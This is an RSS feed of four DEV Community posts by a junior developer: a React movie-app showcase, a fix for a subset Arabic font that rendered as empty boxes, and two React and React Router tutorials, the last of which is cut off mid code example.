<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Wahib EL KHADIRI</title>
    <description>The latest articles on DEV Community by Wahib EL KHADIRI (@wahib_el_khadiri_0).</description>
    <link>https://dev.to/wahib_el_khadiri_0</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4040823%2Fdc1c7aa7-603d-4f87-a82b-07c20c473251.png</url>
      <title>DEV Community: Wahib EL KHADIRI</title>
      <link>https://dev.to/wahib_el_khadiri_0</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/wahib_el_khadiri_0"/>
    <language>en</language>
    <item>
      <title>Show DEV: MovieVerse — A Movie Discovery App I Built With React 19 and the TMDB API</title>
      <dc:creator>Wahib EL KHADIRI</dc:creator>
      <pubDate>Mon, 23 Nov 2026 23:18:30 +0000</pubDate>
      <link>https://dev.to/wahib_el_khadiri_0/show-dev-movieverse-a-movie-discovery-app-i-built-with-react-19-and-the-tmdb-api-3g24</link>
      <guid>https://dev.to/wahib_el_khadiri_0/show-dev-movieverse-a-movie-discovery-app-i-built-with-react-19-and-the-tmdb-api-3g24</guid>
      <description>&lt;p&gt;&lt;strong&gt;Live demo:&lt;/strong&gt; &lt;a href="https://film2027.netlify.app" rel="noopener noreferrer"&gt;https://film2027.netlify.app&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;Source code:&lt;/strong&gt; &lt;a href="https://github.com/WAHIB-EL-KHADIRI/movieverse" rel="noopener noreferrer"&gt;https://github.com/WAHIB-EL-KHADIRI/movieverse&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;MovieVerse is my flagship learning project — the app I built to go from knowing React to actually shipping something real with it. It is also the project I show recruiters when they ask what I can build.&lt;/p&gt;

&lt;h2&gt;
  
  
  What it does
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Trending movies&lt;/strong&gt; on the home page, loaded from the TMDB API&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Search&lt;/strong&gt; for any movie by title&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Filters&lt;/strong&gt; — release year and sorting (popularity, rating, date)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Detail pages&lt;/strong&gt; for every movie, with full navigation via React Router&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Favorites&lt;/strong&gt; — save the movies you want to watch later&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Dark mode&lt;/strong&gt; and &lt;strong&gt;skeleton loaders&lt;/strong&gt; while content is loading&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Graceful error handling&lt;/strong&gt; — when the TMDB API rate-limits, the app says so plainly instead of breaking&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The stack
&lt;/h2&gt;

&lt;p&gt;React 19, TypeScript, Vite, React Router, and the TMDB API. Deployed on Netlify.&lt;/p&gt;

&lt;h2&gt;
  
  
  What building it taught me
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;React Router in practice.&lt;/strong&gt; Routing a real app with detail pages and filters is very different from reading about routes. (I wrote about the routing part in detail here: &lt;a href="https://dev.to/wahib_el_khadiri_0/i-turned-a-single-page-react-site-into-a-real-multi-page-app-with-react-router-1n6b"&gt;https://dev.to/wahib_el_khadiri_0/i-turned-a-single-page-react-site-into-a-real-multi-page-app-with-react-router-1n6b&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TypeScript catches the bugs you don't see.&lt;/strong&gt; Typing the API responses forced me to understand the data shape instead of guessing — and the compiler caught mistakes before users did.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A real API means real failure modes.&lt;/strong&gt; Loading states, empty results, rate limits, network errors — half the work of a "simple" movie app is handling everything that can go wrong between your UI and someone else's server. The skeleton loaders and the error messages are features, not polish.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Ship it, then show it.&lt;/strong&gt; The demo is live, the code is public, and I'd rather get honest feedback on a real app than keep a perfect project on my laptop.&lt;/p&gt;

&lt;h2&gt;
  
  
  Try it, break it
&lt;/h2&gt;

&lt;p&gt;Open the demo, search for a movie, save a favorite, switch to dark mode. If something breaks or feels wrong, tell me in the comments — that's exactly the feedback I'm here for. And if you're a junior dev building your own first real project: pick one API you like and build the whole thing around it. You learn more from one shipped app than from ten tutorials.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;I'm Wahib El Khadiri, a junior full-stack developer from Kénitra, Morocco. I build with React, Node.js and Laravel, contribute to open source, and teach React in Darija on YouTube. Portfolio: &lt;a href="https://wahib-portfolio.netlify.app" rel="noopener noreferrer"&gt;https://wahib-portfolio.netlify.app&lt;/a&gt; — GitHub: &lt;a href="https://github.com/WAHIB-EL-KHADIRI" rel="noopener noreferrer"&gt;https://github.com/WAHIB-EL-KHADIRI&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>showdev</category>
      <category>react</category>
      <category>typescript</category>
      <category>webdev</category>
    </item>
    <item>
      <title>The Subset Font That Turned My Arabic Text Into Empty Boxes</title>
      <dc:creator>Wahib EL KHADIRI</dc:creator>
      <pubDate>Mon, 23 Nov 2026 23:13:22 +0000</pubDate>
      <link>https://dev.to/wahib_el_khadiri_0/the-subset-font-that-turned-my-arabic-text-into-empty-boxes-3k9c</link>
      <guid>https://dev.to/wahib_el_khadiri_0/the-subset-font-that-turned-my-arabic-text-into-empty-boxes-3k9c</guid>
      <description>&lt;p&gt;I was rendering product images for my shop: Arabic text, the brand name "STYLE POINT", and prices. Some words came out fine. Others came out as empty boxes. No error, no warning — just tofu where letters should be.&lt;/p&gt;

&lt;p&gt;It took me a while to realize the bug wasn't in my code at all. It was in the font file.&lt;/p&gt;

&lt;h2&gt;
  
  
  The symptom: some words render, some don't
&lt;/h2&gt;

&lt;p&gt;The broken words had something in common, but it wasn't obvious at first. "STYLE POINT" showed as boxes. Prices (digits) showed as boxes. The Arabic word "تشكيلة" showed as boxes — while other Arabic words rendered perfectly.&lt;/p&gt;

&lt;p&gt;Three different kinds of text, all broken. That pattern was the clue: the problem wasn't the text, the layout, or the rendering library. It was the font itself.&lt;/p&gt;

&lt;h2&gt;
  
  
  The cause: a subset font
&lt;/h2&gt;

&lt;p&gt;The font I was using, Cairo-Bold in &lt;code&gt;.woff2&lt;/code&gt; format, was a &lt;strong&gt;subset&lt;/strong&gt;. A subset font is a font file with most glyphs stripped out to make it smaller — it only contains the characters the person who built it thought you'd need.&lt;/p&gt;

&lt;p&gt;This one was missing:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Latin capital letters (so "STYLE POINT" became boxes)&lt;/li&gt;
&lt;li&gt;Digits (so prices became boxes)&lt;/li&gt;
&lt;li&gt;The Arabic letter ة in its final form (U+FE93) — so words like "تشكيلة" broke, even though other Arabic words were fine&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That last one is the cruelest kind of font bug: it doesn't break &lt;em&gt;all&lt;/em&gt; Arabic, just the words that happen to end in ة. Everything looks fine until exactly the wrong word shows up.&lt;/p&gt;

&lt;h2&gt;
  
  
  The fix: build one full font, and let the shaper do its job
&lt;/h2&gt;

&lt;p&gt;I fixed it in two steps.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;First, I built a complete font.&lt;/strong&gt; Using fontTools, I merged the full Arabic and Latin versions of Cairo Bold (weight 700) into a single file, &lt;code&gt;Cairo-Bold-full.ttf&lt;/code&gt;. One font file, every glyph I need, no more guessing which characters survived the subsetting.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Second, I stopped reshaping Arabic text by hand.&lt;/strong&gt; I had been using a reshaping library to connect Arabic letters before drawing. I switched to letting Pillow do it natively, with proper shaping support (raqm/harfbuzz) and right-to-left direction:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="no"&gt;PIL&lt;/span&gt; &lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nc"&gt;ImageFont&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;ImageDraw&lt;/span&gt;

&lt;span class="n"&gt;font&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;ImageFont&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;truetype&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Cairo-Bold-full.ttf"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;84&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;draw&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"تشكيلة STYLE POINT 250"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
          &lt;span class="n"&gt;font&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;font&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;fill&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"white"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
          &lt;span class="n"&gt;direction&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"rtl"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;language&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"ar"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With the full font and native shaping, everything renders: Arabic, Latin capitals, digits, mixed text on the same line.&lt;/p&gt;

&lt;h2&gt;
  
  
  The lesson I now apply everywhere
&lt;/h2&gt;

&lt;p&gt;Two rules I never break anymore:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Never trust a font you didn't verify.&lt;/strong&gt; A font file that works for your test words can still be missing the exact glyphs your real content needs. Check the full font, not the demo.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Never rely on &lt;code&gt;local()&lt;/code&gt; for Arabic fonts.&lt;/strong&gt; In my YouTube pipeline I had the same class of bug: the system font wasn't guaranteed to exist. Now I always bundle a real Arabic &lt;code&gt;.woff2&lt;/code&gt; with &lt;code&gt;@font-face&lt;/code&gt; (Cairo Bold for titles) — the font ships with the project, or it doesn't ship at all.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The bug looked like a rendering problem. It was a supply-chain problem: the asset I depended on was incomplete, and nothing told me so. The empty boxes were the only warning I got — and honestly, I was lucky to get even that.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;I'm Wahib El Khadiri, a junior full-stack developer from Kénitra, Morocco. I build with React, Node.js and Laravel, contribute to open source, and teach React in Darija on YouTube. Portfolio: &lt;a href="https://wahib-portfolio.netlify.app" rel="noopener noreferrer"&gt;https://wahib-portfolio.netlify.app&lt;/a&gt; — GitHub: &lt;a href="https://github.com/WAHIB-EL-KHADIRI" rel="noopener noreferrer"&gt;https://github.com/WAHIB-EL-KHADIRI&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>css</category>
      <category>javascript</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>I Built My First Real Website With React From Scratch</title>
      <dc:creator>Wahib EL KHADIRI</dc:creator>
      <pubDate>Mon, 23 Nov 2026 23:07:45 +0000</pubDate>
      <link>https://dev.to/wahib_el_khadiri_0/i-built-my-first-real-website-with-react-from-scratch-9el</link>
      <guid>https://dev.to/wahib_el_khadiri_0/i-built-my-first-real-website-with-react-from-scratch-9el</guid>
      <description>&lt;p&gt;In my earlier episodes, I learned React piece by piece — components, props, state. But everything was small examples. So I took the next step: I built a complete, real website — a landing page for a digital agency — and I want to show you exactly how. This is the written companion to my YouTube episode (React from Scratch #5, in Moroccan Darija): &lt;a href="https://youtu.be/UCKbmOi8l4k" rel="noopener noreferrer"&gt;https://youtu.be/UCKbmOi8l4k&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Start a new project, then clean it up
&lt;/h2&gt;

&lt;p&gt;Create a fresh React project and run it locally to confirm everything works. Then delete the demo content you don't need and keep only the base you'll build on.&lt;/p&gt;

&lt;p&gt;One thing to get right from the start: in React, you don't write the whole website in one file. You split it into small parts, and each part has one clear responsibility. That habit is what saves you later, when the project grows.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. The Header
&lt;/h2&gt;

&lt;p&gt;The header is the part at the top: the agency logo and the navigation links (Home, Services, Contact).&lt;/p&gt;

&lt;p&gt;I made it its own component, in its own file — not inside the main file. Why? Because if I later want to change the header's color, add a link, or reuse the same header on other pages, the work is easy and organized.&lt;/p&gt;

&lt;p&gt;Add some styling: logo on one side, links on the other, proper spacing — and the header is done.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. The Hero section
&lt;/h2&gt;

&lt;p&gt;This is the first thing a visitor sees after the header, so it has to be clear: a big title (something like "We help you build a professional digital presence"), a short description of what the agency does, a button ("Discover our services"), and an illustration.&lt;/p&gt;

&lt;p&gt;The button shouldn't be decoration. I linked it to the Services section, so clicking it takes the visitor straight there.&lt;/p&gt;

&lt;p&gt;Keep the hero simple: one clear title, one short description, one button that points to the next step. Don't overload it with text.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. The Services section — where components prove their worth
&lt;/h2&gt;

&lt;p&gt;Now the real lesson. The agency has three services: website design, app development, and digital solutions. Each one has a title, a short description, and the same card layout.&lt;/p&gt;

&lt;p&gt;Should I write the same code three times? I could — but that's not organized. Instead, I built ONE &lt;code&gt;ServiceCard&lt;/code&gt; component and used it three times, each time passing a different title and description as props.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;ServiceCard&lt;/span&gt;
  &lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"Website Design"&lt;/span&gt;
  &lt;span class="n"&gt;description&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"Modern, fast websites that fit your business."&lt;/span&gt;
&lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;ServiceCard&lt;/span&gt;
  &lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"App Development"&lt;/span&gt;
  &lt;span class="n"&gt;description&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"Mobile and web apps built to solve real problems."&lt;/span&gt;
&lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;ServiceCard&lt;/span&gt;
  &lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"Digital Solutions"&lt;/span&gt;
  &lt;span class="n"&gt;description&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"Tools and strategies that grow your presence online."&lt;/span&gt;
&lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If I want to change the design of all the cards, I edit one component. That's the real power of React: reuse the same parts intelligently, without repeating code for no reason.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. The Footer, and checking the phone
&lt;/h2&gt;

&lt;p&gt;The last part is the footer: the agency name, a short line, and contact information. Then I put all the components together in the main file — Header, Hero, Services, Footer — and the code stays readable, because each part has its own file.&lt;/p&gt;

&lt;p&gt;One more thing matters: the website has to work well on a phone. I shrank the screen and checked: the service cards that sat side by side on a computer stack on top of each other on a phone, and the links and buttons still work.&lt;/p&gt;

&lt;h2&gt;
  
  
  The result
&lt;/h2&gt;

&lt;p&gt;A complete website, built from an empty page: header, hero, services, footer — organized into components, and working on computer and phone.&lt;/p&gt;

&lt;p&gt;Your challenge: change the site's colors, add a new section about the agency, and give it its own component. If you can do that on your own, you're starting to understand how real websites are built with React.&lt;/p&gt;

&lt;p&gt;In the next article, I take this same website and turn it into a real multi-page site with React Router: &lt;a href="https://dev.to/wahib_el_khadiri_0/i-turned-a-single-page-react-site-into-a-real-multi-page-app-with-react-router-1n6b"&gt;https://dev.to/wahib_el_khadiri_0/i-turned-a-single-page-react-site-into-a-real-multi-page-app-with-react-router-1n6b&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;I'm Wahib El Khadiri, a junior full-stack developer from Kénitra, Morocco. I build with React, Node.js and Laravel, contribute to open source, and teach React in Darija on YouTube. Portfolio: &lt;a href="https://wahib-portfolio.netlify.app" rel="noopener noreferrer"&gt;https://wahib-portfolio.netlify.app&lt;/a&gt; — GitHub: &lt;a href="https://github.com/WAHIB-EL-KHADIRI" rel="noopener noreferrer"&gt;https://github.com/WAHIB-EL-KHADIRI&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>react</category>
      <category>javascript</category>
      <category>webdev</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>I Turned a Single-Page React Site Into a Real Multi-Page App With React Router</title>
      <dc:creator>Wahib EL KHADIRI</dc:creator>
      <pubDate>Mon, 23 Nov 2026 23:00:33 +0000</pubDate>
      <link>https://dev.to/wahib_el_khadiri_0/i-turned-a-single-page-react-site-into-a-real-multi-page-app-with-react-router-1n6b</link>
      <guid>https://dev.to/wahib_el_khadiri_0/i-turned-a-single-page-react-site-into-a-real-multi-page-app-with-react-router-1n6b</guid>
      <description>&lt;p&gt;In my last project, I built a complete digital-agency website with React. Header, services, footer — everything looked right. But it was one single page. Clicking "Services" in the header just scrolled down. The URL never changed. It wasn't a real website yet.&lt;/p&gt;

&lt;p&gt;So I turned it into a real multi-page site with React Router: Home, Services, About, and Contact — plus a 404 page. Here's exactly how, step by step. This is the written companion to my YouTube episode (React from Scratch #6, in Moroccan Darija): &lt;a href="https://youtu.be/a0qK0ezaQ0w" rel="noopener noreferrer"&gt;https://youtu.be/a0qK0ezaQ0w&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Install the router
&lt;/h2&gt;

&lt;p&gt;React on its own doesn't know about pages. It knows components. For navigation between pages, you need an external library:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm install react-router-dom
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After installing, check your &lt;code&gt;package.json&lt;/code&gt; — the library should be listed there. Run the project again and confirm everything still works with no errors before moving on.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Define the routes
&lt;/h2&gt;

&lt;p&gt;First, create one component per page, each in its own file — &lt;code&gt;Home.jsx&lt;/code&gt;, &lt;code&gt;Services.jsx&lt;/code&gt;, &lt;code&gt;About.jsx&lt;/code&gt;, &lt;code&gt;Contact.jsx&lt;/code&gt; — the same way I organized components in the previous episode.&lt;/p&gt;

&lt;p&gt;Then wrap the whole app in &lt;code&gt;BrowserRouter&lt;/code&gt;. It watches the URL and decides what to show:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nc"&gt;BrowserRouter&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;Routes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;Route&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="s1"&gt;'react-router-dom'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nc"&gt;Home&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="s1"&gt;'./pages/Home'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nc"&gt;Services&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="s1"&gt;'./pages/Services'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nc"&gt;About&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="s1"&gt;'./pages/About'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nc"&gt;Contact&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="s1"&gt;'./pages/Contact'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nc"&gt;App&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;BrowserRouter&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Routes&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Route&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/"&lt;/span&gt; &lt;span class="n"&gt;element&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Home&lt;/span&gt; &lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Route&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/services"&lt;/span&gt; &lt;span class="n"&gt;element&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Services&lt;/span&gt; &lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Route&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/about"&lt;/span&gt; &lt;span class="n"&gt;element&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;About&lt;/span&gt; &lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Route&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/contact"&lt;/span&gt; &lt;span class="n"&gt;element&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Contact&lt;/span&gt; &lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nc"&gt;Routes&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nc"&gt;BrowserRouter&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each &lt;code&gt;Route&lt;/code&gt; connects a URL path to a page component. When the visitor goes to a path, the router renders the matching page — without reloading the whole site. Change the URL and watch the page swap in place.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Link vs a normal &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; — the beginner mistake I made
&lt;/h2&gt;

&lt;p&gt;When I first built navigation, I used normal &lt;code&gt;&amp;lt;a href&amp;gt;&lt;/code&gt; links. That's a big mistake inside a React app: every click makes the browser reload the entire page from the server. Everything unmounts and rebuilds from scratch. You lose all the speed React gives you.&lt;/p&gt;

&lt;p&gt;The fix is the &lt;code&gt;Link&lt;/code&gt; component that comes with the router:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nc"&gt;Link&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="s1"&gt;'react-router-dom'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Link&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/services"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nc"&gt;Services&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nc"&gt;Link&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It looks like a normal link, but clicking it never reloads the page. The router just swaps the visible component, instantly. And the browser back button works properly, because the router records every page you visited.&lt;/p&gt;

&lt;p&gt;The rule is simple: inside a React app, always use &lt;code&gt;Link&lt;/code&gt; for internal navigation. Keep &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; only for links that leave your site.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. One shared Layout, no repetition
&lt;/h2&gt;

&lt;p&gt;Now the header and footer need to appear on every page. Copying them into each page would repeat code — exactly what we learned to avoid.&lt;/p&gt;

&lt;p&gt;The answer is a &lt;code&gt;Layout&lt;/code&gt; component: header on top, footer at the bottom, and an empty slot in the middle called &lt;code&gt;Outlet&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nc"&gt;Outlet&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="s1"&gt;'react-router-dom'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nc"&gt;Layout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&amp;gt;&lt;/span&gt;
